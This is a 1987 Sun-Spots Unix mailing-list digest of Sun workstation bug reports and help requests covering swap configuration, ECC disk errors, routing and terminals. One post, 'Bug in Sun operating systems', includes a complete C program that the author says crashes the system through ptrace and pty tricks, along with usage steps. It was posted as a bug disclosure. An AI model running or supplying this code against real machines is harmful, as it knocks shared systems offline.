Sun-Spots-Request@RICE.EDU (William LeFebvre) (10/26/87)
SUN-SPOTS DIGEST Monday, 26 October 1987 Volume 5 : Issue 54
Today's Topics:
Re: Sun-4 bcopy warning
Bug in Sun operating systems...
Bug which causes wasted swap space
Hard/ECC errors!
/etc/in.routed confused
Re: Interrupts clog up Sun
Problems with modems and ALM's
Problems with SunView Canvasses
undump for Sun 4, anyone?
Ciprico Tapemaster magtape controller on a Sun 3/160?
VT100 terminal emulators?
sun laserwriter help
Scientific software/library availability on the Suns?
Wanted: voice entry systems
----------------------------------------------------------------------
Date: Wed, 21 Oct 87 21:07:20 EDT
From: mts@emptys.cc.umich.edu (Michael T. Stolarchuk)
Subject: Re: Sun-4 bcopy warning
"weiser.pa@xerox.com" writes about using a work move to do the same as
bcopy. I have done this on other architectures -- it works very well. The
basic routine is wrong unless you check for overlapped moves -- it won't
do the same thing as bcopy... checks for odd/even storage address moves
sometimes helps too -- in some places the odd references are much more
expensive than the even references... finally, does anyone know if the
cache/memory is any faster on the sun 4's?
[[ Also, on most architectures it is faster to move (properly aligned)
longwords than bytes. --wnl ]]
------------------------------
Date: 18 Oct 87 19:54:20 GMT
From: hi!josh@hc.dspo.gov (Josh Siegel)
Subject: Bug in Sun operating systems...
Here is a little program that some of you might find interesting....
--Josh Siegel
[[ The program is small and important, so I'm including it. Mr. Siegel
might want to pass this information along to Sun (if he hassn't already)!
--wnl ]]
/*
* Crash-o-matic...
*
* Designed to crash Suns version *.* and above. Have not tested it on anything
* younger...
*
* Run on machine with few users...
*
* % cc -o crash cr.c
* % crash <pty> # With pty being the full path to a currently unused pty.
*
* % crash /dev/ttyp7
*
* Say, "Good bye". Neat eh? dbx does this trick on processes. Actually,
* sometimes you might have to run this two times on different unused
* pty's. Make sure there are NO processes on the pty.
*
* From the mind of Josh Siegel
*
*/
#include <sys/file.h>
#include <sys/ptrace.h>
#include <stdio.h>
main (argc, argv)
int argc;
char *argv[];
{
int p;
if (p = fork ())
{ /* Fork off a child process */
sleep (3); /* Wait till the child is
* set up */
ptrace (PTRACE_ATTACH, p, 0, 0, 0); /* Attach to it */
ptrace (PTRACE_KILL, p, 0, 0, 0); /* Kill it */
}
else
{
printf ("Setting up...\n"); /* Be friendly */
sleep (1); /* Wait... seems to be */
open (argv[1], O_WRONLY); /* Open up pty.. */
}
}
--
Josh Siegel (siegel@hc.dspo.gov)
Friends don't let Friends eat Cherry Zingers
------------------------------
Date: Wed, 14 Oct 87 14:07:35 EDT
From: sunne!ileaf!md@sun.com (Mark Dionne)
Subject: Bug which causes wasted swap space
You may be interested in this bug report written up by Kimbo Peebles-Mundy
here at Interleaf:
SunOS 3.0 (and beyond) users beware! The standard kernel configuration
files distributed by Sun (GENERIC, SDST160, and SDST50) may have subjected
you to a nasty little kernel bug.
The config line in question looks like:
config vmunix root on sd0 swap on sd0 and sd1
It allows for swapping on 2 disks. The problem is, that if you don't have
2 disks, the kernel gets confused and thinks that your (nonexistant) 2nd
disk is huge. This has 2 bad effects.
1. The size of your swap device is truncated to the nearest 4 Meg
boundary. Here at Interleaf, this caused us to lose 3.9 Meg of swap
space.
2. The maximum swap allocation will be set to 4 Meg. (The kernel will
normally set the maximum at something like 1/2 or 1 Meg, depending on the
actual size of the swap space.) This will cause severe fragmentation of
your swap space. For example, after running for 1/2 day, our "max process
allocable" (from pstat -s) was approx. 8 Meg. With the problem fixed, it
was more like 18 Meg.
***How can you tell if this is happening to you?
Get your guru to check the appropriate config file in /usr/sys/conf. Or
run "pstat -s" (you may have to be super-user). If the last line has any
"*4096k" or "*2048k" entries, you are probably a victim. Another clue is
if the "max process allocable" is much smaller than the available free
space.
***How do you work around it?
Make sure that you do NOT have any "and sd1" entries for the swap devices
UNLESS you really do have 2 disks.
***How do you fix it?
Get sources. (Good luck!) Look at the beginning of swapconf (in
sun/autoconf.c as of 1.1 Unix) and see where nblks is set by calling
*bdevsw[major(swp->sw_dev)].d_psize. Make sure that the case where the
device is missing gets handled better. I think the d_psize routine
returns -1 (or at least -1 in 23 bits). (Needless to say, our sources are
so out of date, we did not try this. We just used the work around.)
***Why does it happen?
Because of long standing brain-damage in the 4.x BSD kernel about
configuring swap space. I pity all the workstation manufacturers for
trying to release real products based on this crud. I am almost certain
that SunOS 4.0 will eliminate all this cruft.
...!harvard!umb!ileaf!md Mark Dionne, Interleaf
...!sun!sunne!ileaf!md Ten Canal Park, Cambridge, MA 02141
(617) 577-9813 x5551
------------------------------
Date: 22 Oct 87 19:20:04 GMT
From: decvax!tarsa@ucbvax.berkeley.edu (Greg Tarsa)
Subject: Hard/ECC errors!
Help.
The problem of the mysterious Hard/ECC errors is back in the Sunspots news
again and I'd like to add my name to the list of people who need a
permanent solution. I bought my Sun-2/120 at an auction and simply cannot
afford to call in a Field Service company to find the problem at industry
rates.
I have 2 Fuji 2322 disks connected to a xy450 and I periodically get a
slew of error #6 "ECC/Hard errors" which, when they appear in the swap
area cause the system to panic. When the problem first reared its ugly
head, I sent my controller back to Xylogics and they couldn't find
anything wrong with it. After living with the problem for a month, I
heard about the cabling being a potential problem and a friend and I
replaced Sun's cabling with straight-through cables and the problem went
away for months. Not only did the cabling solve the problem, but the "bad"
blocks that were on the disk disappeared with the new cable installation.
About 3 months ago, I started getting the Hard/ECC errors again. Shaking
cables did not seem to help, but the blocks were few and in easily
repaired places. Then I started getting #21, "Disk sequencer" errors. So
I replaced the controller with one I had gotten at another auction. No
problem for a week, then it started again. I replaced the thin (B?) cable
for drive 0, but there seems to be no change.
So my machine is dead. I can restore the disk from backup, but doing so
is such a time-consuming prospect that I am again scouring the earth to
find a solution. I've learned vast amounts about hardware since getting
this machine, but I feel no closer to a permanent fix.
If there is a permanent solution out there, or one develops, I would
really appreciate it someone could share it with me.
Thanks,
Greg Tarsa
Tarsa Software Consulting
33 Seabee Street
Bedford, NH 03102 decvax!tarsa (while my machine is down)
(617)668-8349 decuac!elijah!tarsa (when my machine is up)
------------------------------
Date: Wed, 21 Oct 87 14:29:05 +0100
From: mcvax!prle1!TvanPeer@uunet.uu.net (Tom van Peer)
Subject: /etc/in.routed confused
My router daemon starts building routing tables correctly, but after a few
seconds it starts emptying the tables until only loopback, sun-ether and
its own network remain. All the other SUNs on the same ethernet cable
function correctly. All the packets arrive, I've checked this using using
routed with the option -t. The only weird things that happen with this
option are that:
1. SIOCADDRT complains about a file that already exists, it doesn't say
which file. This happens only two or three times.
2. SIOCADDRT also complains, saying: 'Network unreachable'.
3. Finallly SIOCDELRT has problems with 'No such process'.
Does anyone know what has gone wrong and/or what to do about it ?
Tom van Peer
Philips Research Organization, The Netherlands.
+31-40-743796
mcvax!prle1!TvanPeer
------------------------------
Date: Mon, 19 Oct 87 13:22:23 BST
From: Paul Leyland <pcl%robots.oxford.ac.uk@nss.cs.ucl.ac.uk>
Subject: Re: Interrupts clog up Sun
> Every so often my Sun gets into a stage where it is receiving 3000
> interrupts a second, which slows everything else down. Is there any way
> to identify where they are coming from and reset it, short of rebooting?
We have exactly that problem. Strangely enough, it occurs on only one of
our Suns, a 3/160C, and only when a line is plugged into either serial
port. I cannot get any other Suns to show the symptoms.
A 220 Ohm resistor connected between Rx and Ground in the plug at the
Sun's end of the cable 'cured' the problem for a while. Ok, I thought,
it's just noise picked up on an out-of-spec cable.
This morning, *exactly* the same symptoms recurred 8-(
The resistor was still in place. A 'scope showed Rx to be a constant
(i.e. no transient greater than 10mV) half a volt below earth. Now, 0.5V
is *well* within spec and should not cause a spurious interrupt.
I have called out Sun, but as the call was placed only 30 minutes ago, I
have yet to hear from them. I'll post again if there is an interesting
outcome.
Paul Leyland JANET: pcl@uk.ac.oxford.robots
------------------------------
Date: Fri, 16 Oct 87 18:54:08 PDT
From: acad!robert@sun.com (Robert Wenig ext 609)
Subject: Problems with modems and ALM's
I have a few dialup lines connected to an ALM. Everything works fine,
however if a person does not log out properly, they remain logged into the
machine even though the line has dropped. On the CPU serial ports, the
login shell is terminated when the line drops. I have wired my modems
according to the ALM manual, what else is necessary?
Robert Wenig
Autodesk
------------------------------
Date: Tue, 20 Oct 87 21:10:10 PDT
From: John Bossert <bossert@thebes.thalatta.com>
Subject: Problems with SunView Canvasses
I am trying to build a graphing system using SunView, and am having some
problems. The format of the main frame is to be two canvasses, which may
be resized along the vertical axis to change the proportion of the frame
occupied by each canvas.
The problem is that I always want each canvasses to use the full width of
the main frame, whatever that may be. I can't figure out how to do this -
every method I try allows me to shrink the upper (first) canvas so it
occupies less than the full width of the frame.
I would set the FRAME_SUBWINDOWS_ADJUSTABLE attribute to FALSE in the
frame attribute list, but this prohibits me from changing the
canvas1_height to canvas2_height ratio.
Has anyone faced (and solved) this situation? Thanks in advance.
In-Real-Life: John Bossert, Thalatta Corporation, (+1 206 643 7187)
Domain: bossert@Thalatta.COM Path: uw-beaver!uw-entropy!thebes!bossert
------------------------------
Date: Wed, 21 Oct 87 15:56:21 EDT
From: lear@aramis.rutgers.edu (eliot lear)
Subject: undump for Sun 4, anyone?
Has anyone written a program to undump a core (for TeX purposes) for a Sun
4, yet? I know, I know... dream on...
Eliot
--
[lear@rutgers.edu]
------------------------------
Date: 16 Oct 87 21:22:41 GMT
From: mike@howtek.UUCP (Mike Rubin)
Subject: Ciprico Tapemaster magtape controller on a Sun 3/160?
Does anyone out there know if the standard driver on a Sun 3/160 for a
Ciprico Tapemaster magtape controller uses the BUFFERED WRITE (14H) and
BUFFERED READ(10H) commands ? We are trying to eliminate a bus contention
problem by adding memory to our controller, but we think that this will
all be for nought if the data is transfered directly over the Multibus.
Please E-mail any replies direct to : mike@howtek.com
------------------------------
Date: Mon, 12 Oct 87 10:43:21 pdt
From: rtech!llama!sid@sun.com (Sid Shapiro)
Subject: VT100 terminal emulators?
Hi folks,
I am looking for a vt100-terminal emulator. I know about vt100tool -
expensive for 20 or more workstations. I know about X --- X-11 I haven't
successfully made, X-10 xterm works, but seems flaky and on a 3/60, I
can't seem to figure out how to get an application pad to work - I get the
arrows and the vt-100 pf1-4, but no other keys.
Am I missing something in X, or is there something else free available?
Thanks,
Sid Shapiro -- Relational Technology, Inc
{mtxinu,cpsc6a}!rtech!sid
(415)748-3470
------------------------------
Date: Tue, 20 Oct 87 10:00 EST
From: "Yates, John H." <YATES@a.chem.upenn.edu>
Subject: sun laserwriter help
Does anyone out there have a laser printer attached to a diskless client
(3/50) and the sun laserwriter software installed on a server (3/280)?
The manual indicates that this is possible, but so far I can't get it
installed properly and sun has had a week and can't do it either. West
coast support can't even log on and local sales can log on but can't fix
it. If you respond that you have this setup working I will contact you
directly and avoid posting the intricate details of the failed
installations to the net.
Thanks,
John H. Yates
yates%a.chem.upenn.edu@cis.upenn.edu
------------------------------
Date: 19 Oct 87 06:45:36 GMT
From: baden@csam.lbl.gov (Scott B. Baden)
Subject: Scientific software/library availability on the Suns?
We are in the process of bringing up various libraries and tools up on the
Sun, and I would appreciate any information version of the following
packages running on the Sun:
nag
imsl
ncar graphics package
sdl
Scott Baden
------------------------------
Date: Tue, 20 Oct 87 10:39:26 PDT
From: randolph@sun.com (Randolph Fritz)
Subject: Wanted: voice entry systems
If you know of a voice entry system which has been interfaced to Sun
computers, please write and tell me about it. I already know of the
Kurzweil KVS.
Randolph Fritz
randolph@sun.com
sun!randolph
------------------------------
End of SUN-Spots Digest
***********************